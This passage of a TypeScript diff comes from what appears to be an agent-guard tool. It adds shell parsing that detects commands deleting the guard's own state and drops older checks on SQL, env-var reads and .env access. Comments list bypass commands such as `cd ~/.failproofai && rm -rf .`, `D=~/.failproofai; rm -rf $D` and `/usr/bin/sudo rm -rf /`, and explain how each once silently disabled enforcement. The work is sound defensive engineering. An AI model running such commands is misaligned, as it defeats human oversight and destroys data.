=== "all" || !replaced) && (mode !== "prefix" || i === 0) && (fixed !== -1 || matches(startsHere, value.slice(i)))) { + // The longest match starting here; one length only without a `*`. + const longest = fixed === -1 ? value.length : Math.min(value.length, i + fixed); + const shortest = fixed === -1 ? i + 1 : i + fixed; + for (let e = longest; e >= shortest && e > i; e--) { + if ((mode !== "suffix" || e === value.length) && matches(atoms, value.slice(i, e))) { + end = e; + break; + } + if (mode === "suffix") break; + } + } + if (end !== -1) { + out += replacement; + if (out.length > maxLength) throw new ShellWordTooComplex(); + replaced = true; + i = end; + continue; + } + if (i < value.length) out += value[i]; + i++; + } + return [out, literal]; + }; + const changeCase = (value: string, op: string): string => { + if (op === "^^" || op === "U") return value.toUpperCase(); + if (op === ",," || op === "L") return value.toLowerCase(); + if (op === "^" || op === "u") return value.charAt(0).toUpperCase() + value.slice(1); + if (op === ",") return value.charAt(0).toLowerCase() + value.slice(1); + const toggle = (c: string): string => (c === c.toUpperCase() ? c.toLowerCase() : c.toUpperCase()); + return op === "~" ? toggle(value.charAt(0)) + value.slice(1) : [...value].map(toggle).join(""); + }; + const substring = (value: string, offset: number, length: number | undefined): string => { + const start = offset < 0 ? Math.max(0, value.length + offset) : Math.min(offset, value.length); + if (length === undefined) return value.slice(start); + const end = length < 0 ? value.length + length : start + length; + return end < start ? "" : value.slice(start, end); + }; + // The first `/` of a replacement that is not escaped or inside an expansion. + const separatorAt = (s: string): number => { + for (let i = 0; i < s.length; i++) { + if (s[i] === "\\") i++; + else if (s[i] === "$" && s[i + 1] === "{") { + const close = closeBrace(s, i + 2); + if (close === -1) return -1; + i = close; + } else if (s[i] === "/") return i; + } + return -1; + }; + const braced = (body: string, depth: number): string[] => { + let m = /^#([A-Za-z_][A-Za-z0-9_]*)(?:\[[^\]]*\])?$/.exec(body); + if (m) return union([valuesOf(m[1]).map((value) => String(value.length))]); + if (body.startsWith("#")) return []; + m = /^!([A-Za-z_][A-Za-z0-9_]*)$/.exec(body); + if (m) return union(valuesOf(m[1]).map((name) => (/^[A-Za-z_][A-Za-z0-9_]*$/.test(name) ? valuesOf(name) : []))); + if (body.startsWith("!")) return []; + m = /^(?:([A-Za-z_][A-Za-z0-9_]*)|[0-9]+|[@*?$!-])(?:\[[^\]]*\])?/.exec(body); + if (!m) return []; + const values = m[1] === undefined ? [] : valuesOf(m[1]); + const rest = body.slice(m[0].length); + if (rest === "") return values; + const alternate = /^:?([-=+?])/.exec(rest); + if (alternate) { + const word = expand(rest.slice(alternate[0].length), depth + 1); + if (alternate[1] === "+") return union([[""], word]); + return alternate[1] === "?" ? values : union([values, word]); + } + // Every operator below changes a value; with none known there is nothing to change. + if (values.length === 0) return []; + const affix = /^(##?|%%?)/.exec(rest); + if (affix) { + const fromEnd = affix[1][0] === "%"; + const patterns = expand(rest.slice(affix[1].length), depth + 1); + // A pattern the text does not give may remove any suffix (or prefix): + // every cut of a short value is a candidate. + if (patterns.length === 0) { + return union(values.map((value) => Array.from({ length: value.length + 1 }, (_, k) => (fromEnd ? value.slice(0, k) : value.slice(k))))); + } + return union(values.flatMap((value) => patterns.map((p) => removeAffix(value, p, fromEnd, affix[1].length === 2)))); + } + if (rest.startsWith("/")) { + const mode = rest[1] === "/" ? "all" : rest[1] === "#" ? "prefix" : rest[1] === "%" ? "suffix" : "first"; + const spec = rest.slice(mode === "first" ? 1 : 2); + const at = separatorAt(spec); + const patterns = expand(at === -1 ? spec : spec.slice(0, at), depth + 1); + const replacements = expand(at === -1 ? "" : spec.slice(at + 1), depth + 1); + if (patterns.length === 0 || replacements.length === 0) throw new ShellWordTooComplex(); + return union(values.flatMap((value) => patterns.flatMap((p) => replacements.map((r) => replaceMatches(value, p, r, mode))))); + } + const caseChange = /^(\^\^|\^|,,|,|~~|~)$/.exec(rest) ?? /^@([ULu])$/.exec(rest); + if (caseChange) return union([values.map((value) => changeCase(value, caseChange[1]))]); + if (rest === "@E") return union([values.map((value) => decodeAnsiC(value))]); + if (rest === "@Q" || rest === "@a" || rest === "@A" || rest === "@K" || rest === "@k") return []; + const sub = /^:[ \t]*(-?[0-9]+)(?::[ \t]*(-?[0-9]+))?$/.exec(rest); + if (sub) { + const cut = values.map((value) => substring(value, Number(sub[1]), sub[2] === undefined ? undefined : Number(sub[2]))); + // On `[@]` or `[*]` it slices the array: its elements stay whole. + return /\[[@*]\]$/.test(m[0]) ? union([values, cut]) : union([cut]); + } + // An operator on a known value that this does not follow: offsets that are + // arithmetic, a case change limited to a pattern, a prompt expansion. + throw new ShellWordTooComplex(); + }; + const expand = (s: string, depth: number): string[] => { + if (depth > 8) throw new ShellWordTooComplex(); + let forms: string[] = [""]; + let literal = ""; + let inDouble = false; + const take = (next: readonly string[]): void => { + forms = product(product(forms, [literal]), next); + literal = ""; }; + for (let i = 0; i < s.length; i++) { + const ch = s[i]; + if (ch === "\\") { + if (i + 1 < s.length) { + const next = s[++i]; + if (inDouble && !/[$`"\\\n]/.test(next)) literal += "\\"; + if (next !== "\n") literal += next; + } + } else if (ch === "'" && !inDouble) { + const close = s.indexOf("'", i + 1); + const stop = close === -1 ? s.length : close; + literal += s.slice(i + 1, stop); + i = stop; + } else if (ch === '"') { + inDouble = !inDouble; + } else if (ch === "`") { + return []; + } else if (ch === "$" && s[i + 1] === "'" && !inDouble) { + let j = i + 2; + let body = ""; + for (; j < s.length && s[j] !== "'"; j++) { + if (s[j] === "\\" && j + 1 < s.length) body += s[j++]; + body += s[j]; + } + literal += decodeAnsiC(body); + i = j; + } else if (ch === "$" && s[i + 1] === "(") { + return []; + } else if (ch === "$" && s[i + 1] === "{") { + // Unclosed, it runs to the end: the walk's command words come with + // their outer braces stripped (`"${A:-x}"` arrives as `${A:-x`), and + // a word really left open is a syntax error that writes nothing. + const close = closeBrace(s, i + 2); + const end = close === -1 ? s.length : close; + take(braced(s.slice(i + 2, end), depth)); + i = end; + } else if (ch === "$" && /[A-Za-z_]/.test(s[i + 1] ?? "")) { + let j = i + 1; + while (j < s.length && /[A-Za-z0-9_]/.test(s[j])) j++; + take(valuesOf(s.slice(i + 1, j))); + i = j - 1; + } else if (ch === "$" && /[0-9@*#?!$-]/.test(s[i + 1] ?? "")) { + return []; + } else { + literal += ch; + } + } + return product(forms, [literal]); + }; + try { + return expand(word, 0); + } catch (error) { + if (error instanceof ShellWordTooComplex) return "complex"; + throw error; } - return allow(); } +/** + * True when `command` would delete, move or overwrite the target — written for + * failproofai's own state, which is what the examples below are about. + * + * Deleting the state IS disabling enforcement, and it never names the binary: + * `rm ~/.failproofai/policies/packs/installed.json` switches off every pack + * policy on the machine, and fail-closed does NOT fire, because a missing store + * reads as a fresh machine rather than a broken one — so nothing anywhere + * reports it. + * + * Two things carry the path into a command that never spells it, and both were + * live bypasses of the per-segment version: + * + * - `cd ~/.failproofai && rm -rf .` — the path is an argument of `cd`, and the + * destroying command names only `.` + * - `D=~/.failproofai; rm -rf $D` — the path is a value, and the destroying + * command names only `$D` + * + * So the walk is stateful: it remembers which variables hold the path, whether + * the shell has been moved INTO the directory, and — where it can tell — which + * directory the shell stands in, so a relative destination + * (`cd ~/.failproofai && cp /dev/null policies-config.json`) is read as the path + * it is. What it does NOT do is treat every later command as suspect — + * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and + * does, because nothing in the second command reaches the state. + */ +function destroysProtectedPath( + command: string, + target: ProtectedPathTarget, + depth = 0, + /** The text `command` was shell-unescaped from, when it is such a text (the unescaped pass). */ + unescapedFrom?: string, +): boolean { + const lexed = lexShell(command, depth > 0); + const unescapedPass = unescapedFrom !== undefined; -function warnDestructiveSql(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (!SQL_TOOL_RE.test(cmd)) return allow(); - - // DROP or TRUNCATE always warns - if (DESTRUCTIVE_SQL_RE.test(cmd)) { - return instruct( - "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", - ); + // A substitution runs its body as a command of its own, so it is judged as + // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head + // and walks straight through. Bounded, because a body can contain another. + // Breadth-first with a budget rather than depth-limited recursion: a nest + // deeper than the limit is trivial to write (`echo $(echo $(… rm …))`), and + // every level of it presents `echo` as the head. The budget is what bounds + // the work instead, because siblings multiply where depth does not. + // + // Not on a text whose quotes and backslashes are already gone + // (`unescapedPass`): there an escaped backtick in a commit message reads as a + // substitution. Each body is judged raw AND unescaped here instead, so a + // quote-broken path inside one (`$(rm ~/.claude/"settings.json")`) is caught. + if (depth === 0 && !unescapedPass) { + const bodies = substitutionBodies(lexed.substitutionSource); + for (let i = 0; i < bodies.length && i < MAX_SUBSTITUTION_BODIES; i++) { + // Judged where it runs: after the commands before it on the line, so a + // `cd` there moves it too (`cd sub; echo "$(cp x cfg.json)"`; found by + // hermes on #1053). + const before = commandsBefore(command, bodies[i]); + const body = before === "" ? bodies[i] : `${before}; ${bodies[i]}`; + if (destroysProtectedPath(body, target, 1)) return true; + const unescapedBody = stripShellQuoting(body); + if (unescapedBody !== body && destroysProtectedPath(unescapedBody, target, 1, body)) return true; + bodies.push(...substitutionBodies(lexShell(bodies[i], true).substitutionSource)); + } + // More bodies than are read: the rest are refused, not skipped (found by hermes on #1053). + if (bodies.length > MAX_SUBSTITUTION_BODIES) return true; } - // DELETE FROM without WHERE warns - if (DELETE_NO_WHERE_RE.test(cmd) && !SQL_WHERE_RE.test(cmd)) { - return instruct( - "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", - ); + // Variables that hold the path. The scan used to ask only whether a value + // CONTAINED the path, which caught `D=~/.failproofai; rm -rf $D` and missed + // `A=~/.failproofai; B=$A; rm -rf $B` — the second hop names no path at all, + // only the first variable. So a value referencing a known state variable + // counts too. Repeating to a fixpoint costs four lines and makes the result + // independent of the order the assignments appear in, rather than resting on + // a shell evaluating them top to bottom. + // + // A text whose quotes are already gone reads `B='$A'` as `B=$A`, a reference + // the command never makes. So the unescaped pass reads its variables from + // the same text unescaped with what the shell would not expand kept escaped. + // It still reads them: a value that starts with a quoted piece + // (`D="$HOME"/.claude/settings.json`, `A='cfg'.json`) is whole only there. + const assignmentText = + unescapedFrom === undefined ? lexed.readable : lexShell(stripShellQuotingKeepingLiterals(unescapedFrom), depth > 0).readable; + const assignments: Array = [ + ...assignmentText.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)(][^\s;&|)]*)/g), + ].map(([, name, value]) => [name, assignedValueText(value)] as const); + // `A+=x` appends to A, the way `A=${A}x` does; `A=(x y)` and `A+=(z)` give + // an array whose every element may be the one a reference reads. + for (const [, name, value] of assignmentText.matchAll(/(?:^|[\s;&|(])([A-Za-z_][A-Za-z0-9_]*)\+=("[^"]*"|'[^']*'|[^\s;&|)(][^\s;&|)]*)/g)) { + assignments.push([name, `\${${name}}${assignedValueText(value)}`]); } - - return allow(); -} - -function warnLargeFileWrite(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Write") return allow(); - const content = ctx.toolInput?.content as string | undefined; - if (typeof content !== "string") return allow(); - const thresholdKb = ((ctx.params?.thresholdKb ?? 1024) as number); - const thresholdBytes = thresholdKb * 1024; - if (content.length > thresholdBytes) { - return instruct( - `STOP: You are writing a file larger than ${thresholdKb}KB (${Math.round(content.length / 1024)}KB). This is unusually large. Confirm this is intentional before proceeding.`, - ); + for (const [, name, elements] of assignmentText.matchAll(/(?:^|[\s;&|(])([A-Za-z_][A-Za-z0-9_]*)\+?=\(([^()]*)\)/g)) { + for (const element of quoteAwareWords(elements).slice(0, 64)) assignments.push([name, assignedValueText(element)]); } - return allow(); -} - -function warnPackagePublish(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - if (PUBLISH_CMD_RE.test(cmd)) { - return instruct( - "STOP: This command publishes a package to a public registry. Confirm with the user that this is intentional.", - ); - } - return allow(); -} - -function protectEnvVars(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - // Block: env, printenv, echo $VAR, export VAR= - if (ENV_PRINTENV_RE.test(cmd)) { - return deny("Command reads environment variables"); - } - if (ECHO_ENV_RE.test(cmd)) { - return deny("Command echoes environment variable"); + // And the other ways a line gives a variable a value it writes out: a + // substitution whose output the text decides (`A=$(echo cfg.json)`), a + // `for`/`select` list, `read … <<< word`, `printf -v NAME FORMAT ARGS`, and + // a nameref (`declare -n R=A` reads A). + for (const [, name, body, ticked] of assignmentText.matchAll(/(?:^|[\s;&|(])([A-Za-z_][A-Za-z0-9_]*)=["']?(?:\$\(([^()]*)\)|`([^`]*)`)/g)) { + const output = simpleSubstitutionOutput(body ?? ticked ?? ""); + if (output !== null) assignments.push([name, output]); } - if (EXPORT_RE.test(cmd)) { - return deny("Command exports environment variable"); + for (const [, name, list] of assignmentText.matchAll(/(?:^|[\s;&|(])(?:for|select)\s+([A-Za-z_][A-Za-z0-9_]*)\s+in\s+([^;\n]*?)\s*[;\n]\s*do(?=[\s;]|$)/g)) { + for (const word of quoteAwareWords(list).slice(0, 64)) assignments.push([name, assignedValueText(word)]); } - if (ENV_DUMP_RE.test(cmd) || (SCRIPT_INTERP_RE.test(cmd) && ENV_OBJECT_RE.test(cmd))) { - return deny("Command dumps environment variables"); + for (const [, options, here] of assignmentText.matchAll(/(?:^|[\s;&|(])read((?:[ \t]+[^\s;&|<>]+)*?)[ \t]*<<<[ \t]*("[^"]*"|'[^']*'|[^\s;&|)]+)/g)) { + const value = withoutOuterQuotes(here); + const tokens = options.trim().split(/\s+/).filter(Boolean); + const names: string[] = []; + for (let k = 0; k < tokens.length; k++) { + if (/^-[adinNptu]$/.test(tokens[k])) { + if (tokens[k] === "-a" && tokens[k + 1]) names.push(tokens[k + 1]); + k++; + } else if (!tokens[k].startsWith("-")) names.push(tokens[k]); + } + for (const name of names.length > 0 ? names : ["REPLY"]) { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(name)) continue; + assignments.push([name, value]); + for (const field of value.split(/\s+/).filter(Boolean).slice(0, 32)) assignments.push([name, field]); + } } - // PowerShell: $env:VAR - if (PS_ENV_VAR_RE.test(cmd)) { - return deny("Command reads environment variable via PowerShell"); + for (const [, name, rest] of assignmentText.matchAll(/(?:^|[\s;&|(])printf[ \t]+-v[ \t]*([A-Za-z_][A-Za-z0-9_]*)[ \t]+([^;&|\n]*)/g)) { + const [format = "", ...args] = quoteAwareWords(rest).map(withoutOuterQuotes); + assignments.push([name, printfOutput(format, args)]); } - // PowerShell: Get-ChildItem Env: / dir env: / gci env: / ls env: - if (PS_CHILDITEM_ENV_RE.test(cmd)) { - return deny("Command reads environment variables via PowerShell"); + for (const [, flags, rest] of assignmentText.matchAll(/(?:^|[\s;&|(])(?:declare|local|typeset)((?:[ \t]+-[A-Za-z]+)+)[ \t]+([^;&|\n]*)/g)) { + if (!flags.includes("n")) continue; + for (const [, name, ref] of rest.matchAll(/([A-Za-z_][A-Za-z0-9_]*)=([A-Za-z_][A-Za-z0-9_]*)/g)) assignments.push([name, `\${${ref}}`]); } - // PowerShell: [Environment]::GetEnvironmentVariable - if (DOTNET_GETENV_RE.test(cmd)) { - return deny("Command reads environment variable via .NET"); + const stateVars = new Set(); + const assignedValues = new Map(); + // A variable given more values than are kept is not known: the value that + // matters may be one that was dropped. + const overflowed = new Set(); + for (const [name, value] of assignments) { + const list = assignedValues.get(name) ?? []; + if (list.length < 64) list.push(value); + else overflowed.add(name); + assignedValues.set(name, list); } - // cmd: echo %VAR% - if (CMD_ECHO_ENV_RE.test(cmd)) { - return deny("Command echoes environment variable via cmd"); + // A variable's values with the variables inside them resolved too + // (`A=cfg.json; D=$A`), each variable once, however long the chain. A + // variable named in its own value is its earlier value, the shell's append + // (`F=ho; F=${F}oks` is `hooks`; `PATH=$PATH:/x` extends an environment + // value, which is unknown). Any assignment on the line may or may not have + // run where the variable is used, so a value that cannot be known (a command + // substitution) adds nothing but takes no known value away: + // `A=cfg.json; A=$(true); cp x "$A"` may still write cfg.json. COMPLEX is + // what only a crafted command builds — a cycle between variables, more + // values than are kept, too many combinations, a value grown longer than + // any path — and counts as naming the target; UNKNOWN (null: no known value + // at all) does not, like any environment variable. Both limits are checked + // before each value is made, never after a list is built: twenty-four + // appends double the values twenty-four times. + const MAX_VALUES = 64; + const MAX_VALUE_LENGTH = 4096; + const COMPLEX = "complex" as const; + type Resolved = string[] | typeof COMPLEX | null; + const resolved = new Map(); + const resolving = new Set(); + // One value with its expansions resolved the way the shell expands an + // assignment's value — references and parameter operators alike + // (`B=${A%.bak}`, `B=${A:-cfg.json}`) — `self` binding the variable's own + // name to its earlier value. Substitutions whose output the text decides + // were read as values of their own (simpleSubstitutionOutput). + const valueBudget = { steps: 4_000_000 }; + const expandValue = (value: string, name: string, self: string | undefined): Resolved => { + if (/`|\$\(/.test(value)) return null; + const forms = shellWordExpansionForms( + value, + (ref) => (ref === name ? (self === undefined ? null : [self]) : resolveVariable(ref)), + valueBudget, + Math.max(MAX_VALUE_LENGTH, value.length), + ); + if (forms === "complex") return COMPLEX; + return forms.length === 0 ? null : forms; + }; + const resolveVariable = (name: string): Resolved => { + if (resolved.has(name)) return resolved.get(name)!; + if (resolving.has(name) || resolving.size > 512) return COMPLEX; + const raw = assignedValues.get(name); + if (!raw || raw.length === 0) return null; + if (overflowed.has(name)) return COMPLEX; + resolving.add(name); + const out = knownValues(name, raw); + resolving.delete(name); + resolved.set(name, out); + return out; + }; + // The plain assignments' values, then each append applied to every value + // before it; COMPLEX the moment a value past the limit would be made. + const knownValues = (name: string, raw: readonly string[]): Resolved => { + // Its own name anywhere in a value, an operator's operand included (`A=${A%.bak}`). + const selfReference = new RegExp(`\\$(?:\\{[!#]?${name}(?![A-Za-z0-9_])|${name}(?![A-Za-z0-9_]))`); + const namesSelf = (value: string): boolean => selfReference.test(value); + const values = new Set(); + const keep = (forms: Resolved): boolean => { + if (forms === null) return true; + if (forms === COMPLEX) return false; + for (const form of forms) { + values.add(form); + if (values.size > MAX_VALUES) return false; + } + return true; + }; + // A value naming the variable itself is also what it gives while the + // variable is unset: `A=${A:-cfg.json}` is cfg.json, while `PATH=$PATH:/x` + // and `F=${F}oks` give nothing there. + for (const value of raw) { + if (!keep(expandValue(value, name, undefined))) return COMPLEX; + } + for (const value of raw) { + if (!namesSelf(value)) continue; + for (const previous of [...values]) { + if (!keep(expandValue(value, name, previous))) return COMPLEX; + } + } + return values.size === 0 ? null : [...values]; + }; + const resolvedValues = (name: string): string[] | null => { + const values = resolveVariable(name); + return values === COMPLEX ? null : values; + }; + // The texts a word built by expansions may become (shellWordExpansionForms), + // each word once, under one budget for the whole command. + const wordForms = new Map(); + const expansionBudget = { steps: 4_000_000 }; + const formsOfWord = (word: string): string[] | typeof COMPLEX => { + let forms = wordForms.get(word); + if (forms === undefined) { + const found = shellWordExpansionForms(word, resolveVariable, expansionBudget, Math.max(4096, command.length)); + forms = found === "complex" ? COMPLEX : found; + wordForms.set(word, forms); + } + return forms; + }; + // A word with expansions in it whose texts the command gives: those texts + // (`$D`, `"${D:-out}/x"`); null for anything else. + const valuesOfWord = (word: string): string[] | null => { + if (!word.includes("$")) return null; + const forms = formsOfWord(word); + return forms === COMPLEX || forms.length === 0 ? null : forms; + }; + for (let pass = 0; pass < assignments.length + 1; pass++) { + const before = stateVars.size; + for (const [name, value] of assignments) { + const holdsState = + target.namesLiteral(value) || + [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)) || + // A value that reaches the target where the session stands — through + // a link (`D=cfg.json`, `D=link/..`), or relative to it. + (target.namesThroughLinks?.(value, target.cwd) ?? false) || + (target.cwd !== undefined && isRelativeShellWord(value) && target.namesLiteral(resolve(target.cwd, value))); + if (holdsState) stateVars.add(name); + } + if (stateVars.size === before) break; } - return allow(); -} - -function blockEnvFiles(ctx: PolicyContext): PolicyResult { - const cmd = getCommand(ctx); - const filePath = getFilePath(ctx); - // Check file_path for Read/Write tools (match both / and \ path separators) - if (filePath && ENV_FILE_PATH_RE.test(filePath)) { - return deny("Access to .env file blocked"); - } - // Check Bash commands referencing .env files - if (ctx.toolName === "Bash" && ENV_CMD_RE.test(cmd)) { - return deny("Command references .env file"); - } - return allow(); -} + // Where the shell may stand, as far as the text says: one directory, or a + // few when a `cd` may not have happened. Its directory may not exist, so it + // fails unless an earlier command makes it — `cd /nowhere; cp x settings.json` + // copies into the directory the shell already stood in — and the last + // command of a pipeline runs in the shell under zsh and not under bash. A + // relative word is judged against each of them; undefined is a place the + // text cannot name. `oldCwds` is OLDPWD for `cd -`, unknown until a `cd` + // sets it. `pushd` keeps where it left for `popd`, on a stack shared by + // reference, so a subshell can hand the parent's back. + let walkCwds: ReadonlyArray = [target.cwd]; + // Whether anything on the line may create a directory a later `cd` enters. + const lineMakesDirectories = /(?:^|[\s;&|(])(?:mkdir|install|git|cp|mv|rsync|tar|bsdtar|gtar|unzip|7z|ln|cpio|scp|wget|curl|npm|npx|pnpm|yarn|bun|pip|cargo|python[0-9.]*|node|perl|ruby|sh|bash|zsh|eval|source|xargs|find)(?=[\s;&|)]|$)|\$[({]|`/.test(command); + + let oldCwds: ReadonlyArray = [undefined]; + // Whether OLDPWD may still be the one from before this command, which could + // be anywhere, the target included. Once a `cd` on the line sets it, an + // unknown entry in it is where the session started (when that is not known) + // or a place the walk lost, and only the second counts. + let oldMayBeInitial = true; + type DirStack = { dirs: ReadonlyArray; below: DirStack } | null; + let dirStack: DirStack = null; + + // A word's glob verdict, once per walk: a command can repeat a word + // thousands of times (every `$NAME` is spliced to `*`), and each test runs + // it against every candidate and decoy. + const globVerdicts = new Map(); + const globNames = (word: string): boolean => { + let verdict = globVerdicts.get(word); + if (verdict === undefined) { + verdict = globCouldNameTarget(word, target); + globVerdicts.set(word, verdict); + } + return verdict; + }; -/** - * True when a segment runs an elevation binary IN COMMAND POSITION. - * - * Anchored structurally rather than by token, for the reason `namesSelfPause` - * is: `SUDO_RE` required the literal token `sudo` at a command boundary, so - * **`/usr/bin/sudo rm -rf /` was ALLOWED** — a direct invocation, no - * obfuscation, one absolute path away from root on a `defaultEnabled` guard. - * Every other form the shell resolves before settling on the binary — prefix - * assignments, redirections, runners and their flags — is walked off first, and - * the comparison is on the BASENAME so a path cannot hide the name. - * - * `doas` is included because it is the same capability under a different name; - * a machine with `doas` installed and only `sudo` blocked is not blocked. - * - * This raises the bar; it does not close the class. `bash -c "sudo …"`, a - * variable (`S=sudo; $S …`) and base64-through-a-pipe all still reach root, - * because static inspection of one command string cannot follow them. Closing - * that properly needs enforcement below the shell, not a better regex. - */ -/** - * Split a command into per-segment TOKEN LISTS the way a shell reads it. - * - * Distinct from `shellSegments` below, which returns raw segment STRINGS and is - * what the deletion policies want. Named apart deliberately: defining a second - * `shellSegments` here shadowed that one, silently broke every `rm -rf` check, - * and disabled this matcher too — caught only because `tsc` reports duplicate - * implementations. - * - * Segmentation happens on the RAW string and skips separators inside quotes, - * which is the whole point: stripping quoting FIRST turns `\|` — a literal pipe - * in a grep alternation — into a real separator, so `grep "a\|sudo b"` parses - * as a command called `sudo` and gets denied. That is a common enough pattern - * that over-blocking it is worse than the evasion it would catch. - * - * Each token is unquoted individually afterwards, which still defeats `\sudo` - * and `"sudo"` without ever letting quote removal change where the boundaries - * are. Quoted tokens are returned separately so a caller can decide whether - * their CONTENTS deserve a second look — see `EVAL_FLAG_RE`. - */ -function quoteAwareSegments(command: string): Array { - const segments: Array = []; - let tokens: string[] = []; - let token = ""; - let quote: '"' | "'" | null = null; - const endToken = () => { - if (token) tokens.push(token); - token = ""; + // Whether one text a word may become reaches the target, judged as a word + // the shell hands over: by name, as a glob, through a link, relative to + // where the shell stands. + // A glob reaches what it expands to on disk: in a directory holding + // `cfg.json -> ~/.claude/settings.json`, `*.json` writes the settings. + const diskGlobs = new Map(); + const diskGlobBudget: DiskGlobBudget = { listings: new Map(), entries: 262_144, steps: 1_048_576, checks: 32_768 }; + // The options anywhere in the command that change what a glob matches: + // turned on in it, a glob after them may match more. The shell may be bash + // or zsh (Claude Code runs the user's, and zsh is macOS's default), so both + // spellings count. zsh ignores case and underscores in option names + // (`setopt GLOB_DOTS`), and its `**/` recurses with no option at all — + // where bash without globstar reads `**` as `*`, which matches less. + const globOptions = globOptionsOf(command); + // Each path a glob expands to, through links: `physical/../x` with + // `physical -> ~/.claude/subdir` is ~/.claude/x. By name too once the + // command turns a glob option on: what tells a sweep (`rm -rf ~/.*`, which + // stays allowed) from a pattern aimed at the target is the decoy test, and + // that reads a pattern under the default rules the command has just changed + // (`shopt -s dotglob; tee ~/*/settings.json`). + const globOptionsOn = globOptions.dotglob || globOptions.globstar || globOptions.nocaseglob; + const expandedReaches = (path: string): boolean => + (globOptionsOn && (target.namesLiteral(path) || target.namesLiteral(posix.normalize(path)))) || + target.namesThroughLinks!(path, undefined); + const globReachesThroughLinks = (glob: string): boolean => { + if (!target.namesThroughLinks) return false; + return walkCwds.some((cwd) => { + const key = `${cwd ?? ""}\0${glob}`; + let hit = diskGlobs.get(key); + if (hit === undefined) { + // Past the budget the command was built to stall the guard. + hit = globOnDiskReaches(glob, cwd, diskGlobBudget, globOptions, expandedReaches) !== false; + diskGlobs.set(key, hit); + } + return hit; + }); }; - const endSegment = () => { - endToken(); - if (tokens.length) segments.push(tokens); - tokens = []; + const formNamesTarget = (form: string): boolean => { + if (target.namesLiteral(form)) return true; + if ((GLOB_METACHAR_RE.test(form) || ZSH_GLOB_FLAG_RE.test(form)) && (globNames(form) || globReachesThroughLinks(form))) return true; + for (const cwd of walkCwds) { + if (target.namesThroughLinks?.(form, cwd)) return true; + if (cwd === undefined) continue; + if (isRelativeShellWord(form) && target.namesLiteral(resolve(cwd, form))) return true; + if (GLOB_METACHAR_RE.test(form) && !/^[-/~$]/.test(form) && globNames(resolve(cwd, form))) return true; + } + return false; }; - for (let i = 0; i < command.length; i++) { - const c = command[i]; - if (quote) { - // Inside single quotes a backslash is literal; inside double quotes it escapes. - if (c === "\\" && quote === '"' && i + 1 < command.length) { - token += command[++i]; - continue; - } - if (c === quote) { - quote = null; - continue; + + const namesState = (text: string): boolean => { + if (target.namesLiteral(text)) return true; + // A word built by expansions, as each text the command says it may become: + // after `cd sub`, `"${A:-cfg.json}"` may be sub/cfg.json, and with + // `A=cfg.json.bak`, `"${A%.bak}"` is. + if (text.includes("$")) { + for (const word of quoteAwareWords(text)) { + if (!word.includes("$")) continue; + const forms = formsOfWord(word); + if (forms === COMPLEX) return true; + if (forms.some((form) => form !== word && formNamesTarget(form))) return true; } - token += c; - continue; } - if (c === "\\" && i + 1 < command.length) { - // An escaped character is literal — `\sudo` is still sudo, and `\|` is a - // pipe CHARACTER rather than a separator. - token += command[++i]; - continue; + // A glob the shell expands — its glob characters outside quotes — as the + // paths it expands to. + if (target.namesThroughLinks && (GLOB_METACHAR_RE.test(text) || ZSH_GLOB_FLAG_RE.test(text))) { + for (const word of quoteAwareWords(text)) { + const unquoted = word.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + if (/[$`]/.test(word) || !(GLOB_METACHAR_RE.test(unquoted) || ZSH_GLOB_FLAG_RE.test(unquoted))) continue; + if (globReachesThroughLinks(stripShellQuoting(word))) return true; + } } - if (c === '"' || c === "'") { - quote = c; - continue; + for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) return true; + // Its value judged from where the shell stands where it is used: + // `cd sub; D=cfg.json; cp x "$D"` writes through sub/cfg.json. + if (resolveVariable(name) === COMPLEX) return true; + const values = resolvedValues(name); + if ( + values && + values.some( + (value) => + walkCwds.some( + (cwd) => + (target.namesThroughLinks?.(value, cwd) ?? false) || + (cwd !== undefined && isRelativeShellWord(value) && target.namesLiteral(resolve(cwd, value))), + ), + ) + ) { + return true; + } } - if (/\s/.test(c)) { - endToken(); - continue; + // Per token, not over the whole text: a glob compiled from a whole command + // line matches nothing, and it is the individual operand — `~/.failproof*` + // — that would expand onto the state. Expansions are spliced first, so one + // holding a space (`settings$( true ).json`) stays inside its word. + const spliced = spliceWordExpansions(text); + // A quoted or escaped name with a space in it is ONE word to the shell: + // `> "my cfg.json"` writes through a link of that name. + if (target.namesThroughLinks && /["'\\]/.test(text)) { + for (const word of quoteAwareWords(text)) { + if (/\s/.test(word) && walkCwds.some((cwd) => target.namesThroughLinks!(word, cwd))) return true; + } } - if (/[;&|\n\r(){}`]/.test(c)) { - endSegment(); - continue; + // And a word handed over whole with its quotes already off: an operand, + // `my cfg.json`. + const whole = text.trim(); + if (target.namesThroughLinks && /\s/.test(whole) && !/["'\\]/.test(whole) && whole.length <= 4096) { + if (walkCwds.some((cwd) => target.namesThroughLinks!(whole, cwd))) return true; } - token += c; + const here = walkCwds.filter((cwd): cwd is string => cwd !== undefined); + return spliced.split(/\s+/).some((token) => { + const word = unquotedToken(token); + if (globNames(word)) return true; + if (walkCwds.some((cwd) => target.namesThroughLinks?.(word, cwd))) return true; + // A relative word lands where the shell stands: `settings.json` after + // `cd ~/.claude`, `opencode` after `cd ~/.config`. Only words that could + // be one of the target's names, or `.`/`..` steps, are resolved: the + // rest cannot land on it, and resolving every word of a long line cost + // more than the whole walk. + for (const cwd of here) { + const cwdHinted = target.hint === undefined || target.hint.test(cwd); + for (const form of word.includes("=") ? [word, word.slice(word.indexOf("=") + 1)] : [word]) { + if (!isRelativeShellWord(form)) continue; + if (!cwdHinted && !target.hint!.test(form) && !/^\.{1,2}(?:\/\.{1,2})*\/?$/.test(form)) continue; + if 